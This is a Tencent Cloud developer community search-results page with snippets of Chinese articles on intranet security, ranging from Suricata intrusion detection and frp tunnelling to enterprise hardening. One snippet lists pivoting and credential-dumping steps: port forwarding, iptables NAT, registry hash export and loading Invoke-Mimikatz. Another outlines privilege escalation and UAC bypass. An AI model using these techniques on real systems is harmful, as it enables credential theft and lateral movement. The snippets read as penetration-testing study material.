腾讯云开发者社区-腾讯云

开发者社区

文档建议反馈控制台

文章/答案/技术大牛

发布

综合排序丨最热优先丨最新优先

甲方安全建设-内网安全（IDS）

前言之前的篇章讲解了甲方安全建设之日志采集-Elastic Agent、甲方安全建设之日志采集-记录Windows事件管理器日志、甲方安全建设之研发安全-SCA，本文将讲解内网安全的检测。攻击者进入内网后，必然会对内网进行横向渗透，在横向渗透中可能会利用漏洞攻击、端口扫描等技术，那么如何在内网发现黑客的攻击行为呢，本文将通过suricata来进行内网的攻击检测讲解。注意，默认$HOME_NET变量在配置文件中代表的是内网IP： [root@www ~]# cat /usr/local/etc/suricata/suricata.yaml|grep -i HOME_NET HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]" 笔者的测试机器没有内网IP，直接就是一个外网IP，因此需要修改HOME_NET变量， logstash/suricat_fast.conf 启动suricata： suricata -s portscan.rules -i eth0 成功在es上收到了日志：总结本文通过suricata进行了内网攻击检测的讲解

2024-04-19

1.3K0

标签:

内网安全攻防之内网渗透测试基础

一、内网基础知识 1、工作组： 1.1工作组的概念工作组，即Work Group，是最常见最简单最普通的资源管理模式。它是局域网的一个概念，主要是将不同的电脑按功能分别列入不同的组中，以方便管理。域 (Domain)是一个有安全边界的计算机集合 (安全边界，意思是在两个域中，一个域中的用户无法访问另一个域中的资源)。如果将企业的内网看成是一本字典，那么内网里的资源就是字典的内容，活动目录就相当于字典的索引。即活动目录存储的是网络中所有资源的快捷方式，用户通过寻找快捷方式而定位资源。类似于NAT 2.Kali Linux渗透平台机常用工具 kali Linux是公认的渗透测试必备平台，它包含大量不同类型的安全工具。学习网站：https://www.pstips.net/powershell-online-tutorials 三、构建内网环境一般说内网渗透测试，讲的就是“域渗透测试”，具体的搭建过程，可以参考以前发过的一篇文章

2020-09-01

2.7K0

标签:

网站渗透测试

腾讯云测试服务

内网安全-上传和下载

利用FTP协议上传文件sudo apt-get install vsftpd -ysudo mkdir /ftp && cd /ftp && mkdir uploadfilesudo chmod 777 -R /ftp/uploadfilevim /etc/vsftpd.conf anonymous_enable=YESanon_root=/ftp/uploadfileno_anon_password=YESwrite_enable=YESanon_upload_enable=YESanon_mkdir_w

2022-07-18

7810

分支无线、内网安全与QOS部署

name branch [AC6605-wlan-radio-prof-branch]wmm-profile name branch 说明：对于分支来说，建议单独的创建策略，方便后续做单独的策略实施（3）安全模板 wlan-service-set-branch]security-profile name branch [AC6605-wlan-service-set-branch]user-isolate 说明：定义了业务VLAN为3，而且调用了流量与安全模板 2 分支安全部署（1）H3C端口安全部署 [Branch-sw-A]port-group manual 1 [Branch-sw-A-port-group-manual-1 ]qos car inbound carl 10 cir 100000 cbs 200000 green pass 说明：定义了2个carl 1~5为下载速率定义网段，而上传则为6~10定义的，调用在内网接口下，可以看到下载是Outbound方向的，为什么是Outbound的呢，因为下载的流量是从ISP到内网的，所以是目的地址，经过外网接口为inbound的，而到达了内部接口则是Outbound接口。

ICT系统集成阿祥

2024-12-03

4780

标签:

从零开始内网安全渗透学习

192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389 此工具适用于，有一台双网卡服务器，你可以通过它进行内网通信 iptables 1、编辑配置文件/etc/sysctl.conf的net.ipv4.ip_forward = 1 2、关闭服务 service iptables stop 3、配置规则需要访问的内网地址：192.168.206.101 内网边界web服务器：192.168.206.129 iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp ##本机hash+明文抓取 1、Get-PassHashes.ps1 2、导注册表+本地分析 Win2000和XP需要先提到SYSTEM，03开始直接可以reg save 导出的文件大,效率低,但是安全 PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz 4、ProcDump + Mimikatz本地分析文件会比较大，低效，但是安全

2018-03-30

3.7K0

标签:

使用 frp 安全的暴露内网服务

使用 frp 安全的暴露内网服务 frp frp 是一个可用于内网穿透的高性能的反向代理应用，支持 tcp, udp 协议，并且为 http 和 https 应用协议提供了额外的能力。最近需要将内网的一些服务转发出来，在自己的电脑上随时可用，于是就研究了 frp 的文档，操作记录如下。 frp 服务器配置要使用 frp 进行内网穿透，必须有一台有互联网 IP 的服务器，否则没办法架设 frp 服务器。 true use_compression = true local_ip = 127.0.0.1 local_port = 22 注意，这里使用的是 stcp 模式，没有使用 tcp 模式，更加安全因为 tcp 模式会将内网服务端口直接暴露在互联网，风险比较大。

2020-08-07

3.9K0

标签:

【企业安全】企业安全项目-测试环境内网化

经过长时间的风险发掘与分析，企业面临的安全风险已逐渐清晰并有了比较全面的视野。从投入与产出比的角度出发，结合当前正在承受的危害和实施难易程度考虑，可以将前期所规划的安全项目排入实施计划周期并进行推动。 1 总体概况为了减少企业对外资产暴露面，减少外部恶意攻击，首先应将不必要开放到互联网的测试环境进行内网化。在项目推动的过程中，再次证明安全工作的开展离不开各部门的协作支持。 <3>组织安全接口人召开会议正好以外部白帽提交漏洞为驱动力，召集安全接口人（一般由安全组成员、各业务部门leader组成）开会进行商议并立项。 ? <8>分布式进行内网化首先需要确定可以内网化的测试域名：内网化测试域名 = 运维提供的测试域名 - 测试提供的必须对外开放域名其次是确定内网化测试域名内网化时间：告知用户（各业务部门及测试部门）切入内网范围在对外网开放前，必须提前提安全测试到信息安全组，经过严格安全测试并通过后才能对外网开放。一般而言，需要相关运维同学的配合把好测试环境申请与上线这道关卡。

2018-06-12

1K0

标签:

国内网络安全厂商清单

安全咨询类厂家网闸安全厂家等级保护评估系统数据防泄漏（DLP）漏洞扫描（主机&web） SOC（安全运维平台）&SIEM（安全事件管理）内网安全管理（含准入）上网行为管理、天融信、360、北大千方、知道创宇、神荼科技抗DDoS服务：阿里云、腾讯云、金山云、百度安全/安全宝、360、安恒信息、兰云科技、网宿科技、上海云盾、中新网安、卫达安全、安全狗、青松云安全、电信云堤 /虚拟化安全/云安全虚拟化安全防护：安恒信息、启明星辰、广州国迈、北信源、中软、南京易安联、山石网科、阿姆瑞特、上海观安、东软、安全狗、云锁、亚信安全、金山、蓝盾、北京远为软件手机防病毒：腾讯、瑞星、江南信安 CASB/云业务安全接入代理：炼石网络、云安宝、信云科技、绿盟科技、启明星辰手机APP安全：梆梆安全、北京智游网安/爱加密、阿里聚安全、360、任子行、北京鼎源科技、腾讯御安全、恒安嘉新、安普诺、安码科技基于云的安全服务：青松云安全、青藤云安全、百度云、腾讯云、阿里云、360、华为、安全宝、山石网科、万般上品、东软、卫达安全、白帽汇、海峡信息、四叶草安全、中国电信·安全帮大数据安全

全栈工程师修炼指南

2022-09-28

9.4K0

标签:

浅谈2021国内网络安全风潮

国内网络安全发展现状如何有很多专业机构出过很详细的报告，整体来看，很多领域处于“追逐者”的阶段，无论产品还是国内相关标准，比如目前针对云安全的方面，最佳还是Gartner曾提出三大云安全管理工具CASB 所以说能找到一个经验丰富的安全顾问实属不易。网络安全咨询类服务适合领导层对网络安全重视程度较高，最好网络安全部门为一级部门的企业。部分针对性的可能经过七个步骤，即：网络安全现状评估—网络安全需求分析—网络安全战略—网络安全规划—网络安全治理模式—网络安全实施计划—网络安全投资估算 ? 第一章安全与风险管理第二章资产安全第三章安全工程第四章通信与网络安全第五章身份与访问管理第六章安全评估与测试第七章安全运营第八章软件开发生命周期安全二、网络安全产品类：自动化绩效类安全部门目前现状大多数较为尴尬，“出安全事件，要你何用。不出安全事件，要你何用？”所以部分厂家推出安全绩效、安全考核、安全指标或做广了为安全运营。

2021-03-09

1.2K0

标签:

【网络安全】内网渗透（二）：权限提升

网络安全成为当下最热门的话题，如何维护网络安全是关键，而内网渗透测试又是其中最重要的部分，接下来博主将会通过系列文章，对内网渗透进行介绍与复现；内网渗透（一）：获得权限内网渗透（二）：权限提升内网渗透（三）：信息收集内网渗透（四）：数据包捕获继上篇博客获取到系统权限后，本文将会介绍如何提升获取到的系统权限，主要通过三种方式：提高程序运行级别，UAC 绕过，利用提权漏洞进行提权；提高程序运行级别对其进行屏幕截图；在桌面创建一个名为 sid10t 的文件夹；上传了一个 haha.txt，并进行了读取；后记权限提升到这就结束了，各位读者可以自行尝试并举一反三；个人网站：【安全】内网渗透（一）：获得权限【安全】内网渗透（二）：权限提升【安全】内网渗透（三）：信息收集【安全】内网渗透（四）：数据包捕获本博文仅供学习使用，请勿他用！！！

2023-08-31

1.1K0

标签: